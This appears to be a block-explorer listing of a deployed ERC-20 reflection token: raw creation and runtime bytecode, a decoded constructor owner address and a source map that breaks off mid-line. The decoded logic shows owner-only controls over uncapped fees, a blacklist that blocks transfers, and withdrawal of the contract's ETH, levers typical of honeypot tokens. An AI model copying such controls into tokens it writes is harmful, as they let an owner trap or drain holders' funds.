160205260409020549091506110e4908261134a565b6001600160a01b0387165f9081526001602052604081209190915583156111c557600f54600e546111389189916001600160a01b03909116906111329061112c8a606461100a565b906112cc565b8661138b565b60165460155461115f9189916001600160a01b03909116906111329061112c8a606461100a565b61116b8787878661141d565b600d54611198906111819061112c85606461100a565b600d546111939061112c89606461100a565b61156b565b601554601054600e54600d546111ae91906117e1565b6111b891906117e1565b6111c291906117e1565b90505b5f6111d18260646117ce565b90506112036111e58261112c86606461100a565b6001600160a01b0389165f908152600160205260409020549061104b565b6001600160a01b038089165f8181526001602052604090209290925589167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112518461112c8b606461100a565b60405190815260200160405180910390a35050505050505050565b6008546007545f918291611280828261100a565b821015611297576008546007549350935050509091565b90939092509050565b5f81836112c05760405162461bcd60e51b8152600401610869919061158f565b505f610fe084866117f4565b5f825f036112db57505f61079a565b5f6112e683856117b7565b9050826112f385836117f4565b146108875760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610869565b5f61088783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fb1565b5f61139683836112cc565b6001600160a01b0385165f908152600160205260409020549091506113bb908261104b565b6001600160a01b038086165f8181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061140e9087815260200190565b60405180910390a35050505050565b6014545f906001600160a01b039081169086160361143c57508261143f565b50835b5f54600160a01b900460ff1615610faa575f5b6002811215611563575f815f0361146b5750600261147f565b6001821361147b5750600161147f565b5060015b6001600160a01b039283165f9081526012602052604090205490921691826114b0576011546001600160a01b031692505b5f6114c08261112c88606461100a565b90505f6114cd82876112cc565b6001600160a01b0386165f908152600160205260409020549091506114f2908261104b565b6001600160a01b038087165f8181526001602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115459086815260200190565b60405180910390a3505050808061155b90611813565b915050611452565b505050505050565b600854611578908361134a565b600855600954611588908261104b565b6009555050565b5f6020808352835180828501525f5b818110156115ba5785810183015185820160400152820161159e565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146115f0575f80fd5b919050565b5f8060408385031215611606575f80fd5b61160f836115da565b946020939093013593505050565b5f805f6060848603121561162f575f80fd5b611638846115da565b9250611646602085016115da565b9150604084013590509250925092565b5f60208284031215611666575f80fd5b5035919050565b5f6020828403121561167d575f80fd5b610887826115da565b803580151581146115f0575f80fd5b5f602082840312156116a5575f80fd5b61088782611686565b5f805f80608085870312156116c1575f80fd5b5050823594602084013594506040840135936060013592509050565b5f80604083850312156116ee575f80fd5b6116f7836115da565b915061170560208401611686565b90509250929050565b5f806040838503121561171f575f80fd5b611728836115da565b9150611705602084016115da565b600181811c9082168061174a57607f821691505b60208210810361176857634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761079a5761079a6117a3565b8181038181111561079a5761079a6117a3565b8082018082111561079a5761079a6117a3565b5f8261180e57634e487b7160e01b5f52601260045260245ffd5b500490565b5f6001600160ff1b01820161182a5761182a6117a3565b506001019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f516ff9c76a0cd953a3b0f06cb946df1792b58ad715075d511c0c7ec886426d264736f6c6343000814003300000000000000000000000022a03e5843acae56a0e929487c066d7af234e202

Deployed Bytecode

0x608060405260043610610220575f3560e01c8063804ada421161011e578063a9059cbb116100a8578063d920334e1161006d578063d920334e14610625578063dd62ed3e14610644578063e483a25414610688578063ea2f0b37146106a7578063ee8f0b7a146106c6575f80fd5b8063a9059cbb14610570578063b1e1fd4b1461058f578063b2bdfa7b146105ae578063b44b4b80146105cc578063bcecc0e2146105f7575f80fd5b8063964e45f5116100ee578063964e45f5146104e9578063a23d53d1146104fe578063a41a08fb1461051d578063a457c2d714610532578063a6f9dae114610551575f80fd5b8063804ada4214610485578063885b8716146104a45780638da5cb5b146104b957806395d89b41146104d5575f80fd5b8063340ac20f116101aa57806349bd5a5e1161016f57806349bd5a5e146103c45780635342acb4146103fb57806370a08231146104325780637789b64d146104515780637d1db4a514610470575f80fd5b8063340ac20f1461033c578063395093511461035d5780633b124fe71461037c578063437823ec1461039157806348c54b9d146103b0575f80fd5b806313114a9d116101f057806313114a9d146102b857806318160ddd146102d657806323b872dd146102ea5780632d83811914610309578063313ce56714610328575f80fd5b806306fbce891461022b57806306fdde031461025f578063095ea7b31461028057806310814c371461029f575f80fd5b3661022757005b5f80fd5b348015610236575f80fd5b505f5461024a90600160a01b900460ff1681565b60405190151581526020015b60405180910390f35b34801561026a575f80fd5b506102736106fa565b604051610256919061158f565b34801561028b575f80fd5b5061024a61029a3660046115f5565b61078a565b3480156102aa575f80fd5b5060065461024a9060ff1681565b3480156102c3575f80fd5b506009545b604051908152602001610256565b3480156102e1575f80fd5b506007546102c8565b3480156102f5575f80fd5b5061024a61030436600461161d565b6107a0565b348015610314575f80fd5b506102c8610323366004611656565b610807565b348015610333575f80fd5b50600c546102c8565b348015610347575f80fd5b5061035b61035636600461166d565b61088e565b005b348015610368575f80fd5b5061024a6103773660046115f5565b6108d9565b348015610387575f80fd5b506102c8600d5481565b34801561039c575f80fd5b5061035b6103ab36600461166d565b61090e565b3480156103bb575f80fd5b5061035b61095a565b3480156103cf575f80fd5b506014546103e3906001600160a01b031681565b6040516001600160a01b039091168152602001610256565b348015610406575f80fd5b5061024a61041536600461166d565b6001600160a01b03165f9081526004602052604090205460ff1690565b34801561043d575f80fd5b506102c861044c36600461166d565b6109bd565b34801561045c575f80fd5b5061035b61046b366004611695565b6109de565b34801561047b575f80fd5b506102c860175481565b348015610490575f80fd5b5061035b61049f3660046116ae565b610a24565b3480156104af575f80fd5b506102c860155481565b3480156104c4575f80fd5b505f546001600160a01b03166103e3565b3480156104e0575f80fd5b50610273610a61565b3480156104f4575f80fd5b506102c8600e5481565b348015610509575f80fd5b5061035b6105183660046116dd565b610a70565b348015610528575f80fd5b506102c860105481565b34801561053d575f80fd5b5061024a61054c3660046115f5565b610ac3565b34801561055c575f80fd5b5061035b61056b36600461166d565b610b10565b34801561057b575f80fd5b5061024a61058a3660046115f5565b610b5a565b34801561059a575f80fd5b506011546103e3906001600160a01b031681565b3480156105b9575f80fd5b505f546103e3906001600160a01b031681565b3480156105d7575f80fd5b506102c86105e636600461166d565b60136020525f908152604090205481565b348015610602575f80fd5b5061024a61061136600461166d565b60056020525f908152604090205460ff1681565b348015610630575f80fd5b5061035b61063f366004611656565b610b66565b34801561064f575f80fd5b506102c861065e36600461170e565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b348015610693575f80fd5b506016546103e3906001600160a01b031681565b3480156106b2575f80fd5b5061035b6106c136600461166d565b610ba7565b3480156106d1575f80fd5b506103e36106e036600461166d565b60126020525f90815260409020546001600160a01b031681565b6060600a805461070990611736565b80601f016020809104026020016040519081016040528092919081815260200182805461073590611736565b80156107805780601f1061075757610100808354040283529160200191610780565b820191905f5260205f20905b81548152906001019060200180831161076357829003601f168201915b5050505050905090565b5f610796338484610bf0565b5060015b92915050565b5f6107ac848484610d13565b6107fd84336107f885604051806060016040528060288152602001611832602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610fb1565b610bf0565b5060019392505050565b5f6008548211156108725760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084015b60405180910390fd5b5f61087b610fe9565b9050610887838261100a565b9392505050565b5f546001600160a01b031633146108b75760405162461bcd60e51b81526004016108699061176e565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b335f8181526003602090815260408083206001600160a01b038716845290915281205490916107969185906107f8908661104b565b5f546001600160a01b031633146109375760405162461bcd60e51b81526004016108699061176e565b6001600160a01b03165f908152600460205260409020805460ff19166001179055565b5f546001600160a01b031633146109835760405162461bcd60e51b81526004016108699061176e565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156109ba573d5f803e3d5ffd5b50565b6001600160a01b0381165f9081526001602052604081205461079a90610807565b5f546001600160a01b03163314610a075760405162461bcd60e51b81526004016108699061176e565b5f8054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b03163314610a4d5760405162461bcd60e51b81526004016108699061176e565b600d93909355600e91909155601055601555565b6060600b805461070990611736565b5f546001600160a01b03163314610a995760405162461bcd60e51b81526004016108699061176e565b6001600160a01b03919091165f908152600560205260409020805460ff1916911515919091179055565b5f61079633846107f88560405180606001604052806025815260200161185a60259139335f9081526003602090815260408083206001600160a01b038d1684529091529020549190610fb1565b5f546001600160a01b03163314610b395760405162461bcd60e51b81526004016108699061176e565b5f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f610796338484610d13565b5f546001600160a01b03163314610b8f5760405162461bcd60e51b81526004016108699061176e565b610ba181670de0b6b3a76400006117b7565b60175550565b5f546001600160a01b03163314610bd05760405162461bcd60e51b81526004016108699061176e565b6001600160a01b03165f908152600460205260409020805460ff19169055565b6001600160a01b038316610c525760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610869565b6001600160a01b038216610cb35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610869565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d775760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610869565b6001600160a01b038216610dd95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610869565b5f8111610e3a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610869565b60065460ff1615610e92576001600160a01b0383165f9081526005602052604090205460ff1615610e925760405162461bcd60e51b8152602060048201526002602482015261617360f01b6044820152606401610869565b601754811115610ed85760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610869565b6001600160a01b0383165f9081526004602052604090205460019060ff1680610f1857506001600160a01b0383165f9081526004602052604090205460ff165b15610f2057505f5b5f610f2a846109bd565b158015610f4e57506001600160a01b038481165f9081526012602052604090205416155b8015610f6857506014546001600160a01b03868116911614155b9050610f76858585856110a9565b8015610faa576001600160a01b038481165f90815260126020526040902080546001600160a01b0319169187169190911790555b5050505050565b5f8184841115610fd45760405162461bcd60e51b8152600401610869919061158f565b505f610fe084866117ce565b95945050505050565b5f805f610ff461126c565b9092509050611003828261100a565b9250505090565b5f61088783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112a0565b5f8061105783856117e1565b9050838110156108875760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610869565b5f6110b2610fe9565b90505f6110bf84836112cc565b6001600160a01b0387165f908152600160205260409020549091506110e4908261134a565b6001600160a01b0387165f9081526001602052604081209190915583156111c557600f54600e546111389189916001600160a01b03909116906111329061112c8a606461100a565b906112cc565b8661138b565b60165460155461115f9189916001600160a01b03909116906111329061112c8a606461100a565b61116b8787878661141d565b600d54611198906111819061112c85606461100a565b600d546111939061112c89606461100a565b61156b565b601554601054600e54600d546111ae91906117e1565b6111b891906117e1565b6111c291906117e1565b90505b5f6111d18260646117ce565b90506112036111e58261112c86606461100a565b6001600160a01b0389165f908152600160205260409020549061104b565b6001600160a01b038089165f8181526001602052604090209290925589167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112518461112c8b606461100a565b60405190815260200160405180910390a35050505050505050565b6008546007545f918291611280828261100a565b821015611297576008546007549350935050509091565b90939092509050565b5f81836112c05760405162461bcd60e51b8152600401610869919061158f565b505f610fe084866117f4565b5f825f036112db57505f61079a565b5f6112e683856117b7565b9050826112f385836117f4565b146108875760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610869565b5f61088783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fb1565b5f61139683836112cc565b6001600160a01b0385165f908152600160205260409020549091506113bb908261104b565b6001600160a01b038086165f8181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061140e9087815260200190565b60405180910390a35050505050565b6014545f906001600160a01b039081169086160361143c57508261143f565b50835b5f54600160a01b900460ff1615610faa575f5b6002811215611563575f815f0361146b5750600261147f565b6001821361147b5750600161147f565b5060015b6001600160a01b039283165f9081526012602052604090205490921691826114b0576011546001600160a01b031692505b5f6114c08261112c88606461100a565b90505f6114cd82876112cc565b6001600160a01b0386165f908152600160205260409020549091506114f2908261104b565b6001600160a01b038087165f8181526001602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115459086815260200190565b60405180910390a3505050808061155b90611813565b915050611452565b505050505050565b600854611578908361134a565b600855600954611588908261104b565b6009555050565b5f6020808352835180828501525f5b818110156115ba5785810183015185820160400152820161159e565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146115f0575f80fd5b919050565b5f8060408385031215611606575f80fd5b61160f836115da565b946020939093013593505050565b5f805f6060848603121561162f575f80fd5b611638846115da565b9250611646602085016115da565b9150604084013590509250925092565b5f60208284031215611666575f80fd5b5035919050565b5f6020828403121561167d575f80fd5b610887826115da565b803580151581146115f0575f80fd5b5f602082840312156116a5575f80fd5b61088782611686565b5f805f80608085870312156116c1575f80fd5b5050823594602084013594506040840135936060013592509050565b5f80604083850312156116ee575f80fd5b6116f7836115da565b915061170560208401611686565b90509250929050565b5f806040838503121561171f575f80fd5b611728836115da565b9150611705602084016115da565b600181811c9082168061174a57607f821691505b60208210810361176857634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761079a5761079a6117a3565b8181038181111561079a5761079a6117a3565b8082018082111561079a5761079a6117a3565b5f8261180e57634e487b7160e01b5f52601260045260245ffd5b500490565b5f6001600160ff1b01820161182a5761182a6117a3565b506001019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f516ff9c76a0cd953a3b0f06cb946df1792b58ad715075d511c0c7ec886426d264736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000022a03e5843acae56a0e929487c066d7af234e202

-----Decoded View---------------
Arg [0] : tokenOwner (address): 0x22a03E5843ACAe56A0e929487C066d7AF234e202

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000022a03e5843acae56a0e929487c066d7af234e202


Deployed Bytecode Sourcemap

6884:10566:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6956:24;;;;;;;;;;-1:-1:-1;6956:24:0;;;;-1:-1:-1;;;6956:24:0;;;;;;;;;179:14:1;;172:22;154:41;;142:2;127:18;6956:24:0;;;;;;;;8660:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;9585:191::-;;;;;;;;;;-1:-1:-1;9585:191:0;;;;;:::i;:::-;;:::i;7264:22::-;;;;;;;;;;-1:-1:-1;7264:22:0;;;;;;;;10942:87;;;;;;;;;;-1:-1:-1;11011:10:0;;10942:87;;;1342:25:1;;;1330:2;1315:18;10942:87:0;1196:177:1;8939:95:0;;;;;;;;;;-1:-1:-1;9019:7:0;;8939:95;;9784:442;;;;;;;;;;-1:-1:-1;9784:442:0;;;;;:::i;:::-;;:::i;11037:322::-;;;;;;;;;;-1:-1:-1;11037:322:0;;;;;:::i;:::-;;:::i;8846:85::-;;;;;;;;;;-1:-1:-1;8914:9:0;;8846:85;;17351:96;;;;;;;;;;-1:-1:-1;17351:96:0;;;;;:::i;:::-;;:::i;:::-;;10234:296;;;;;;;;;;-1:-1:-1;10234:296:0;;;;;:::i;:::-;;:::i;7523:26::-;;;;;;;;;;;;;;;;11367:111;;;;;;;;;;-1:-1:-1;11367:111:0;;;;;:::i;:::-;;:::i;12740:106::-;;;;;;;;;;;;;:::i;7915:28::-;;;;;;;;;;-1:-1:-1;7915:28:0;;;;-1:-1:-1;;;;;7915:28:0;;;;;;-1:-1:-1;;;;;2251:32:1;;;2233:51;;2221:2;2206:18;7915:28:0;2087:203:1;12854:124:0;;;;;;;;;;-1:-1:-1;12854:124:0;;;;;:::i;:::-;-1:-1:-1;;;;;12943:27:0;12919:4;12943:27;;;:18;:27;;;;;;;;;12854:124;9042:138;;;;;;;;;;-1:-1:-1;9042:138:0;;;;;:::i;:::-;;:::i;11602:109::-;;;;;;;;;;-1:-1:-1;11602:109:0;;;;;:::i;:::-;;:::i;8079:57::-;;;;;;;;;;;;;;;;11947:250;;;;;;;;;;-1:-1:-1;11947:250:0;;;;;:::i;:::-;;:::i;7950:28::-;;;;;;;;;;;;;;;;2943:79;;;;;;;;;;-1:-1:-1;2981:7:0;3008:6;-1:-1:-1;;;;;3008:6:0;2943:79;;8751:87;;;;;;;;;;;;;:::i;7556:30::-;;;;;;;;;;;;;;;;11835:103;;;;;;;;;;-1:-1:-1;11835:103:0;;;;;:::i;:::-;;:::i;7685:30::-;;;;;;;;;;;;;;;;10538:396;;;;;;;;;;-1:-1:-1;10538:396:0;;;;;:::i;:::-;;:::i;3240:92::-;;;;;;;;;;-1:-1:-1;3240:92:0;;;;;:::i;:::-;;:::i;9188:197::-;;;;;;;;;;-1:-1:-1;9188:197:0;;;;;:::i;:::-;;:::i;7722:83::-;;;;;;;;;;-1:-1:-1;7722:83:0;;;;-1:-1:-1;;;;;7722:83:0;;;2840:21;;;;;;;;;;-1:-1:-1;2840:21:0;;;;-1:-1:-1;;;;;2840:21:0;;;7861:47;;;;;;;;;;-1:-1:-1;7861:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;7219:38;;;;;;;;;;-1:-1:-1;7219:38:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;11717:111;;;;;;;;;;-1:-1:-1;11717:111:0;;;;;:::i;:::-;;:::i;9393:184::-;;;;;;;;;;-1:-1:-1;9393:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;9542:18:0;;;9510:7;9542:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9393:184;7985:81;;;;;;;;;;-1:-1:-1;7985:81:0;;;;-1:-1:-1;;;;;7985:81:0;;;11486:110;;;;;;;;;;-1:-1:-1;11486:110:0;;;;;:::i;:::-;;:::i;7812:42::-;;;;;;;;;;-1:-1:-1;7812:42:0;;;;;:::i;:::-;;;;;;;;;;;;-1:-1:-1;;;;;7812:42:0;;;8660:83;8697:13;8730:5;8723:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8660:83;:::o;9585:191::-;9687:4;9709:37;9718:10;9730:7;9739:6;9709:8;:37::i;:::-;-1:-1:-1;9764:4:0;9585:191;;;;;:::o;9784:442::-;9916:4;9933:36;9943:6;9951:9;9962:6;9933:9;:36::i;:::-;9980:216;10003:6;10024:10;10049:136;10103:6;10049:136;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;10049:19:0;;;;;;:11;:19;;;;;;;;10069:10;10049:31;;;;;;;;;:136;:35;:136::i;:::-;9980:8;:216::i;:::-;-1:-1:-1;10214:4:0;9784:442;;;;;:::o;11037:322::-;11131:7;11189;;11178;:18;;11156:110;;;;-1:-1:-1;;;11156:110:0;;4146:2:1;11156:110:0;;;4128:21:1;4185:2;4165:18;;;4158:30;4224:34;4204:18;;;4197:62;-1:-1:-1;;;4275:18:1;;;4268:40;4325:19;;11156:110:0;;;;;;;;;11277:19;11299:10;:8;:10::i;:::-;11277:32;-1:-1:-1;11327:24:0;:7;11277:32;11327:11;:24::i;:::-;11320:31;11037:322;-1:-1:-1;;;11037:322:0:o;17351:96::-;3155:6;;-1:-1:-1;;;;;3155:6:0;3165:10;3155:20;3147:65;;;;-1:-1:-1;;;3147:65:0;;;;;;;:::i;:::-;17417:13:::1;:22:::0;;-1:-1:-1;;;;;;17417:22:0::1;-1:-1:-1::0;;;;;17417:22:0;;;::::1;::::0;;;::::1;::::0;;17351:96::o;10234:296::-;10394:10;10349:4;10441:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;10441:32:0;;;;;;;;;;10349:4;;10371:129;;10419:7;;10441:48;;10478:10;10441:36;:48::i;11367:111::-;3155:6;;-1:-1:-1;;;;;3155:6:0;3165:10;3155:20;3147:65;;;;-1:-1:-1;;;3147:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11436:27:0::1;;::::0;;;:18:::1;:27;::::0;;;;:34;;-1:-1:-1;;11436:34:0::1;11466:4;11436:34;::::0;;11367:111::o;12740:106::-;3155:6;;-1:-1:-1;;;;;3155:6:0;3165:10;3155:20;3147:65;;;;-1:-1:-1;;;3147:65:0;;;;;;;:::i;:::-;12799:6:::1;::::0;;12791:47:::1;::::0;-1:-1:-1;;;;;12799:6:0;;::::1;::::0;12816:21:::1;12791:47:::0;::::1;;;::::0;12816:21;;12791:47;12799:6;12791:47;12816:21;12799:6;12791:47;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12740:106::o:0;9042:138::-;-1:-1:-1;;;;;9155:16:0;;9108:7;9155:16;;;:7;:16;;;;;;9135:37;;:19;:37::i;11602:109::-;3155:6;;-1:-1:-1;;;;;3155:6:0;3165:10;3155:20;3147:65;;;;-1:-1:-1;;;3147:65:0;;;;;;;:::i;:::-;11675:5:::1;:24:::0;;;::::1;;-1:-1:-1::0;;;11675:24:0::1;-1:-1:-1::0;;;;11675:24:0;;::::1;::::0;;;::::1;::::0;;11602:109::o;11947:250::-;3155:6;;-1:-1:-1;;;;;3155:6:0;3165:10;3155:20;3147:65;;;;-1:-1:-1;;;3147:65:0;;;;;;;:::i;:::-;12071:7:::1;:16:::0;;;;12098:11:::1;:25:::0;;;;12134:11:::1;:24:::0;12169:9:::1;:20:::0;11947:250::o;8751:87::-;8790:13;8823:7;8816:14;;;;;:::i;11835:103::-;3155:6;;-1:-1:-1;;;;;3155:6:0;3165:10;3155:20;3147:65;;;;-1:-1:-1;;;3147:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11910:11:0;;;::::1;;::::0;;;:5:::1;:11;::::0;;;;:20;;-1:-1:-1;;11910:20:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11835:103::o;10538:396::-;10658:4;10680:224;10703:10;10728:7;10750:143;10805:15;10750:143;;;;;;;;;;;;;;;;;10762:10;10750:23;;;;:11;:23;;;;;;;;-1:-1:-1;;;;;10750:32:0;;;;;;;;;;;:143;:36;:143::i;3240:92::-;3155:6;;-1:-1:-1;;;;;3155:6:0;3165:10;3155:20;3147:65;;;;-1:-1:-1;;;3147:65:0;;;;;;;:::i;:::-;3307:6:::1;:17:::0;;-1:-1:-1;;;;;;3307:17:0::1;-1:-1:-1::0;;;;;3307:17:0;;;::::1;::::0;;;::::1;::::0;;3240:92::o;9188:197::-;9293:4;9315:40;9325:10;9337:9;9348:6;9315:9;:40::i;11717:111::-;3155:6;;-1:-1:-1;;;;;3155:6:0;3165:10;3155:20;3147:65;;;;-1:-1:-1;;;3147:65:0;;;;;;;:::i;:::-;11803:17:::1;:8:::0;11814:6:::1;11803:17;:::i;:::-;11788:12;:32:::0;-1:-1:-1;11717:111:0:o;11486:110::-;3155:6;;-1:-1:-1;;;;;3155:6:0;3165:10;3155:20;3147:65;;;;-1:-1:-1;;;3147:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11553:27:0::1;11583:5;11553:27:::0;;;:18:::1;:27;::::0;;;;:35;;-1:-1:-1;;11553:35:0::1;::::0;;11486:110::o;12986:371::-;-1:-1:-1;;;;;13113:19:0;;13105:68;;;;-1:-1:-1;;;13105:68:0;;5223:2:1;13105:68:0;;;5205:21:1;5262:2;5242:18;;;5235:30;5301:34;5281:18;;;5274:62;-1:-1:-1;;;5352:18:1;;;5345:34;5396:19;;13105:68:0;5021:400:1;13105:68:0;-1:-1:-1;;;;;13192:21:0;;13184:68;;;;-1:-1:-1;;;13184:68:0;;5628:2:1;13184:68:0;;;5610:21:1;5667:2;5647:18;;;5640:30;5706:34;5686:18;;;5679:62;-1:-1:-1;;;5757:18:1;;;5750:32;5799:19;;13184:68:0;5426:398:1;13184:68:0;-1:-1:-1;;;;;13265:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;13317:32;;1342:25:1;;;13317:32:0;;1315:18:1;13317:32:0;;;;;;;12986:371;;;:::o;13365:1104::-;-1:-1:-1;;;;;13487:18:0;;13479:68;;;;-1:-1:-1;;;13479:68:0;;6031:2:1;13479:68:0;;;6013:21:1;6070:2;6050:18;;;6043:30;6109:34;6089:18;;;6082:62;-1:-1:-1;;;6160:18:1;;;6153:35;6205:19;;13479:68:0;5829:401:1;13479:68:0;-1:-1:-1;;;;;13566:16:0;;13558:64;;;;-1:-1:-1;;;13558:64:0;;6437:2:1;13558:64:0;;;6419:21:1;6476:2;6456:18;;;6449:30;6515:34;6495:18;;;6488:62;-1:-1:-1;;;6566:18:1;;;6559:33;6609:19;;13558:64:0;6235:399:1;13558:64:0;13650:1;13641:6;:10;13633:64;;;;-1:-1:-1;;;13633:64:0;;6841:2:1;13633:64:0;;;6823:21:1;6880:2;6860:18;;;6853:30;6919:34;6899:18;;;6892:62;-1:-1:-1;;;6970:18:1;;;6963:39;7019:19;;13633:64:0;6639:405:1;13633:64:0;13711:3;;;;13708:64;;;-1:-1:-1;;;;;13739:11:0;;;;;;:5;:11;;;;;;;;13738:12;13730:26;;;;-1:-1:-1;;;13730:26:0;;7251:2:1;13730:26:0;;;7233:21:1;7290:1;7270:18;;;7263:29;-1:-1:-1;;;7308:18:1;;;7301:32;7350:18;;13730:26:0;7049:325:1;13730:26:0;13800:12;;13790:6;:22;;13782:51;;;;-1:-1:-1;;;13782:51:0;;7581:2:1;13782:51:0;;;7563:21:1;7620:2;7600:18;;;7593:30;-1:-1:-1;;;7639:18:1;;;7632:47;7696:18;;13782:51:0;7379:341:1;13782:51:0;-1:-1:-1;;;;;14025:24:0;;13905:12;14025:24;;;:18;:24;;;;;;13920:4;;14025:24;;;:50;;-1:-1:-1;;;;;;14053:22:0;;;;;;:18;:22;;;;;;;;14025:50;14021:98;;;-1:-1:-1;14102:5:0;14021:98;14140:21;14164:13;14174:2;14164:9;:13::i;:::-;:18;:60;;;;-1:-1:-1;;;;;;14199:11:0;;;14222:1;14199:11;;;:7;:11;;;;;;;:25;14164:60;:98;;;;-1:-1:-1;14249:13:0;;-1:-1:-1;;;;;14241:21:0;;;14249:13;;14241:21;;14164:98;14140:122;;14341:41;14356:4;14362:2;14366:6;14374:7;14341:14;:41::i;:::-;14399:16;14395:67;;;-1:-1:-1;;;;;14432:11:0;;;;;;;:7;:11;;;;;:18;;-1:-1:-1;;;;;;14432:18:0;;;;;;;;;;14395:67;13468:1001;;13365:1104;;;:::o;4505:226::-;4625:7;4661:12;4653:6;;;;4645:29;;;;-1:-1:-1;;;4645:29:0;;;;;;;;:::i;:::-;-1:-1:-1;4685:9:0;4697:5;4701:1;4697;:5;:::i;:::-;4685:17;4505:226;-1:-1:-1;;;;;4505:226:0:o;12303:164::-;12345:7;12366:15;12383;12402:19;:17;:19::i;:::-;12365:56;;-1:-1:-1;12365:56:0;-1:-1:-1;12439:20:0;12365:56;;12439:11;:20::i;:::-;12432:27;;;;12303:164;:::o;5937:132::-;5995:7;6022:39;6026:1;6029;6022:39;;;;;;;;;;;;;;;;;:3;:39::i;3602:181::-;3660:7;;3692:5;3696:1;3692;:5;:::i;:::-;3680:17;;3721:1;3716;:6;;3708:46;;;;-1:-1:-1;;;3708:46:0;;8190:2:1;3708:46:0;;;8172:21:1;8229:2;8209:18;;;8202:30;8268:29;8248:18;;;8241:57;8315:18;;3708:46:0;7988:351:1;14550:1374:0;14702:19;14724:10;:8;:10::i;:::-;14702:32;-1:-1:-1;14755:15:0;14773:24;:7;14702:32;14773:11;:24::i;:::-;-1:-1:-1;;;;;14826:15:0;;;;;;:7;:15;;;;;;14755:42;;-1:-1:-1;14826:28:0;;14755:42;14826:19;:28::i;:::-;-1:-1:-1;;;;;148